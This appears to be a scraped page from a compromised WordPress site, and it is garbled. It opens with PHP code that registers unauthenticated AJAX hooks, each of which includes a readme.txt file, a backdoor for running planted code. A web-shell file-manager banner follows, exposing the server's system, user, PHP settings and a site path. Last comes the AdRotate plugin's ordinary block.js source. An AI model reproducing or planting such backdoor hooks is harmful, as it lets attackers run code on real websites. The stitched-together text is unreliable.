if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_bak/wp-content/plugins/adrotate/library/block.js
/*--------------------------------------//
 WordPress Blocks
 Version: 1.0
 Original code: Arnan de Gans
 Copyright: See notice in adrotate.php
//--------------------------------------//
 Changelog:
//--------------------------------------//
 17 April 2022
 * Initial release
//--------------------------------------*/
var el = wp.element.createElement,
	__ = wp.i18n.__,
	registerBlockType = wp.blocks.registerBlockType,
	RichText = wp.blocks.RichText,
	BlockBoxStyle = { 'box-sizing': 'border-box', position: 'relative', padding: '1em', 'min-height': '20px', width: '100%', margin: '0', color: '#1e1e1e', 'border-radius': '2px', 'background-color': '#f7f7f7', 'box-shadow': 'inset 0 0 0 1px #1e1e1e', outline: '1px solid transparent', 'background-image': 'linear-gradient(to bottom right, #f7f7f7, #1fa4d1)' };
    
registerBlockType('adrotate/advert', {
	title: __('AdRotate Advert', 'adrotate'), 
	icon: 'editor-code',
	category: 'custom-adrotate',
	description: __('Show a single advert by entering an advert ID.', 'adrotate'),
	keywords: ['ad', 'advert', 'adrotate', 'banner', 'ads'],

	attributes: {
		advert_id: { 
			type: 'string', 
			selector: 'input',
		},
	},
 	supports: { 
	 	html: false,
	},
  
	edit: function( props ) {
	    function onChangeText( e ) {
			props.setAttributes( { advert_id: e.target.value } );
	    }

		if(isNaN(props.attributes.advert_id)) props.attributes.advert_id = 0;
		
		return el('div', { 
			className: props.className + 'components-placeholder widefat',
			style: BlockBoxStyle,	
		},
			el('div', {
				className: 'components-placeholder__label',
				style: { 'font-size': '18pt', 'font-weight': '400' },
			}, __('AdRotate Advert', 'adrotate')),
			el('label', {
				className: 'components-placeholder__instructions group-' + props.attributes.advert_id,
			}, __('Enter an Advert ID (numbers only):', 'adrotate')),
			el('input', {
                className: 'components-text-control__input group-' + props.attributes.advert_id,
                onChange: onChangeText,
                value: Number(props.attributes.advert_id),
                isSelected: props.isSelected,
                style: { 'background-color': '#fefefe' }
            }),
			el('div', {
				className: 'components-placeholder__instructions group-' + props.attributes.group_id,
				style: { 'font-size': '70%', 'font-style': 'italic' },
			}, __('You can find the advert ID in Manage Adverts. Any special markup, code or layout styles can be applied in the advert itself or by placing the advert in a group.', 'adrotate')),
		);
	},
	 
    save: function( props ) {
        return null;
    },
} );

registerBlockType('adrotate/group', {
    title: __('AdRotate Group', 'adrotate'), 
    icon: 'editor-code',
    category: 'custom-adrotate',
    description: __('Show a group of adverts by entering a group ID.', 'adrotate'),
    keywords: ['ad', 'advert', 'adrotate', 'banner', 'group'],

	attributes: {
		group_id: { 
			type: 'string', 
			selector: 'input',
		},
	},
	supports: { 
	 	html: false,
	},
  
    edit: function( props ) {
        function onChangeText( e ) {
            props.setAttributes( { group_id: e.target.value } );
        }
 
		if(isNaN(props.attributes.group_id)) props.attributes.group_id = 0;
		
		return el('div', { 
			className: props.className + 'components-placeholder widefat',
			style: BlockBoxStyle,	
		},
			el('div', {
				className: 'components-placeholder__label',
				style: { 'font-size': '18pt', 'font-weight': '400' },
			}, __('AdRotate Group', 'adrotate')),
			el('label', {
				className: 'components-placeholder__instructions group-' + props.attributes.group_id,
			}, __('Enter a group ID (numbers only):', 'adrotate')),
			el('input', {
                className: 'components-text-control__input group-' + props.attributes.group_id,
                onChange: onChangeText,
                value: Number(props.attributes.group_id),
                isSelected: props.isSelected,
                style: { 'background-color': '#fefefe' }
            }),
			el('div', {
				className: 'components-placeholder__instructions group-' + props.attributes.group_id,
				style: { 'font-size': '70%', 'font-style': 'italic' },
			}, __('You can find the group ID in Manage Groups. Any special markup, code or layout styles can be applied in the group wrapper when editing the group.', 'adrotate')),
		);
    },
 
    save: function( props ) {
        return null;
    },
} );